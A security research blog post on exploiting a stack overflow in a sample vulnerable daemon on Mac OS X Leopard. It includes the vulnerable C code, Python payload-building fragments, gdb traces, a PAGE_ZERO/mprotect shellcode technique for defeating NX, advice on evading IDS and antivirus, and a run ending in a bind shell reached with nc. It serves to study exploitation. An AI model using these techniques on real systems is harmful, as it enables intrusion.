After some time without any updates coming up, this article will show some techniques and strategies to improve reliability of exploit code in Mac OS X Tiger and Leopard (up to 10.5.5). Specifically, we will look at a technique to aid loading of stager shellcode and evading non-executable stack restrictions. This was hinted at the "OS X Exploits and Defense" book (Elsevier), chapter 7, which I wrote earlier this year (co-authored the book with Kevin Finisterre).
Ideally, when shellcode size restrictions exist, and possibly in almost any situation where subtle and discreet operation is required, you should never use a standard or publicly available shellcode, like the usual so-called "bind shell" or "reverse shell". Not only they are identified by IDS vendors but they will also fail when certain constraints are present. In addition, a combination of stubs (splitting functionality in small dock-able shellcodes) with an encoder will defeat most packet inspectors and signature-based detection products (for example, antivirus engines).
When using a stager, you might find few different shortcomings that prevent your code from being reliable or effective against the most wide span of architectures and platforms:
malloc() or other allocators requires previous knowledge
of their location within the address space.mlock is required.
vulnerabled is a (TCP based) network daemon which processes
incoming messages and seeks a callto:// handler. Then it reads
whatever is trailing after the handler string. Imagine this daemon is used
to connect to a VoIP solution that calls numbers provided by a crawler to
do phone spam or targeted advertisement.
The daemon properly reads the incoming message into a heap allocated buffer,
named tmpbuf. Its contents are zeroed every time the loop runs, therefore
making reliable usage of the buffer impossible on two consecutive runs if
tmpbuf points to the same address. A memory leak would help in
this situation, but there's none.
Afterwards, data is read from the incoming connection, into tmpbuf.
It NULL-terminates the buffer, but if tmpbuf address is overwritten,
a NULL byte will be written off-bounds. Such a situation could be useful in certain
cases, but we won't be looking into this particular possibility in depth for this
article; a single NULL byte write can indeed lead to arbitrary code execution, as
long as some requirements are met: here the offset will be equal to the length of
the data received from the client, thus we will need to send a payload of specific
length to match the offset (example: target address minus address of
tmpbuf) where we want our NULL to be injected.
22 char *tmpbuf = NULL;
23 char vulnbuf[265];
...
37 tmpbuf = malloc(8092);
...
74 while(1) {
...
91 memset(vulnbuf, 0, sizeof(vulnbuf));
...
96 if ((recvlen = recv(connfd, tmpbuf, 8092, 0)) != -1)
97 {
98 tmpbuf[recvlen] = '\0';
If the incoming data contains the handler string, it reads the trailing string
into the stack-based buffer named vulnbuf, which has a fixed size
of 265 bytes. A stack-based buffer overflow condition with a twist: we can abuse
variable ordering to do a more sophisticate attack against vulnerabled.
Instead of a single packet payload, we will dedicate one to send the main
payload and a second one to trigger it and subvert the execution flow in an elegant
manner. This will allow us to introduce the main topic of this article: creating
custom shellcode for evading security measures and improved reliability of stagers.
100 if ((recvlen > handlerlen) &&
101 (!memcmp(tmpbuf, DEFAULT_HANDLER, handlerlen)))
102 {
106 memcpy(vulnbuf, tmpbuf+handlerlen, recvlen-handlerlen);
107 fprintf(stdout, "received message: %s\n", vulnbuf);
108 }
109
110 if (recvlen > 4 && (tmpbuf[0] == '.') &&
111 (tmpbuf[1] == 'e') && (tmpbuf[2] == 'n') &&
112 (tmpbuf[3] == 'd'))
113 break;
In the previous section we walked through the code of the sample vulnerable
daemon, reviewing the potentially exploitable security issues. Finally, we
suggested an elegant approach to abuse the issues for reliable code execution
against Apple Mac OS X Leopard 10.5.5. This section will explain said approach
thoroughly.
The layout of the attack is as follows:
callto://)mprotect() and pre-stager shellcodecallto://).end)
data += self.shellcode
data += self.random_string(265-len(self.shellcode))
data += self.random_string(4)
data += self.random_string(4)
data += struct.pack('<L', ebp_address)
heap_jumper = ''
heap_jumper += '.end'
heap_jumper += struct.pack('<L', 0x80000c)
You might have noticed that writing to EBP for overwriting saved EIP
requires us to write 4 bytes preceding the new EIP value. The length
of the end control message is... exactly 4 bytes. And that's the condition
that let's us abuse the variable ordering to point tmpbuf at
EBP directly and overwrite saved EIP correctly. The final payload is
copied by recv into EBP:
(gdb) p $ebp $32 = (void *) 0xbffff888 (gdb) p tmpbuf $33 = 0xbffff888 ".end\f" (gdb) x/2x tmpbuf 0xbffff888: 0x646e652e 0x0080000c (gdb) x/i 0x0080000c 0x80000c: nop (gdb) p recvlen $34 = 8
Note the address pointing to the heap buffer which was allocated initially.
Mac OS X has an absolutely predictable heap, fortunately for us, unfortunate
for the end-user security. We have effectively overwritten a pointer address
to force the next recv call to write arbitrary data on EBP.
(gdb) c Continuing. vulnerabled(1654) malloc: *** error for object 0xbffff888: Non-aligned pointer being freed *** set a breakpoint in malloc_error_break to debug Program received signal SIGTRAP, Trace/breakpoint trap. 0x0080002b in ?? () (gdb) x/4i $eip 0x80002b: xor %eax,%eax 0x80002d: push %eax 0x80002e: push %eax 0x80002f: push $0x1012 (gdb) i f Stack level 0, frame at 0xbffff888: eip = 0x80002b; saved eip 0xbf800000 called by frame at 0x800032 Arglist at 0xbffff880, args: Locals at 0xbffff880, Previous frame's sp is 0xbffff888 Saved registers: ebp at 0xbffff880, eip at 0xbffff884
There's a catch: if the binary has been compiled with IBM Stack Smashing Protector (SSP, in the past, known as ProPolice) the arrangement of variables on memory will be different and we won't be able to reach the pointer from the stack-based buffer, thus rendering this approach impossible.
The custom shellcode explained here will use only a single
function from libSystem (the libc of sorts on OS X): mprotect.
It should be feasible to change memory protections using a different
method, but this is suitable for a re-spawning daemon since we can
bruteforce the dyld stub address.
It uses the mmap and mlock system calls, to
map memory at PAGE_ZERO (NULL, 0x00000000) and
lock pages to physical memory, respectively.
This is the first time that this technique appears (specifically for OS X)
publicly. The MACH-O binary format defines a zeroed, unmapped memory segment
at position 0, named PAGE_ZERO. It remains unmapped under normal circumstances
to force exceptions on NULL dereference conditions (read/write to NULL, offset
from NULL when reading a member of a structure pointing at NULL, etc).
If we map PAGE_ZERO and set its permissions to read-write-execute, we will have
space of PAGE_SIZE length (4096 bytes on x86) for storing shellcode stages
and pretty much anything we could find useful. Side-effects of mapping PAGE_ZERO
will be difficult to predict. Any future mistakes and programming errors
that dereference NULL or a offset from NULL won't raise an exception. Also,
if data is written there, our shellcode or data will be corrupted. Therefore,
for safety purposes, we might want to leave an initial set of bytes at NULL
unused (unchanged, thus zeroed). If data changes in the initial bytes, we
could raise an exception to emulate normal behavior, in case it's
been done as part of a test to detect our presence.
Mapping PAGE_ZERO will be clearly visible and it's not subtle if it remains in
mapped state for a long time. Apparently the dyld loader and other operations
during MACH-O execution time map the segment for a very short time.
The mprotect produces the following results when executed within
the context of vulnerabled after successful exploitation, before execution
of the stager shellcode:
Stack bf800000-bffff000 [ 8188K] rwx/rwx SM=PRV Stack bffff000-c0000000 [ 4K] rwx/rwx SM=COW thread 0 Stack [ 8192K]
And the mmap of PAGE_ZERO produces the following results (note the
initial unmapped state, and the different permissions afterwards, before the
final mprotect call):
Before mmap(): __PAGEZERO 00000000-00001000 [ 4K] ---/--- SM=NUL .../vulnerabled __PAGEZERO [ 4K] Before mprotect(): __PAGEZERO 00000000-00001000 [ 4K] rw-/rwx SM=NUL .../vulnerabled After mprotect(): __PAGEZERO 00000000-00001000 [ 4K] rwx/rwx SM=NUL .../vulnerabled
Now our stager shellcode will be able to write data received from the attacking host to a writable and executable region at a static address, without requiring allocation using non-static locations.
Developing custom shellcode is trivial in most situations, albeit testing can
be tiresome. Mac OS X lack of heap and mmap randomization is embarrassing,
and its layout has been repeatedly demonstrated to be easily predictable. Also, heap
memory permissions aren't enforced against execution (and read implies execute on Intel),
thus making heap a safe bet for storing our shellcode, and other data on runtime during
exploitation. ASLR in Leopard is incredibly weak, allowing trivial abuse of daemons
and applications re-spawning after an exception, and certain dyld ABI is still static.
Last but not least, lack of general memory permissions enforcement allows regions
to be made executable, thus defeating the whole purpose of both ASLR and NX on OS X.
$ python vulnerabled_exploit.py -s 127.0.0.1 -p 6888 [+] Target vulnerabled at 127.0.0.1:6888 ... [+] Running... [+] Finished (shellcode was 152 bytes, 290 total). [+] Check 127.0.0.1:6900 for shell. (gdb) r Starting program: ./vulnerabled Reading symbols for shared libraries ++. done Starting ./vulnerabled (pid: 2141, port: 6888)... connection from 127.0.0.1 tmpbuf=0x800000 vulnbuf=0xbffff74b esp=0xbffff6f0 it's a good message! (282 bytes, 273 in data) received message: ??????????1??R??? connection from 127.0.0.1 tmpbuf=0xbffff888 vulnbuf=0xbffff74b esp=0xbffff6f0 vulnerabled(2141) malloc: *** error for object 0xbffff888: Non-aligned pointer being freed *** set a breakpoint in malloc_error_break to debug Program received signal SIGTRAP, Trace/breakpoint trap. 0x8fe01010 in __dyld__dyld_start () (gdb) c Continuing. Reading symbols for shared libraries .. done $ nc 127.0.0.1 6900 id uid=501(myuser) gid=20(staff) groups=20(staff),98(_lpadmin), ...
Subreption blog by Subreption LLC is Licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0
United States License.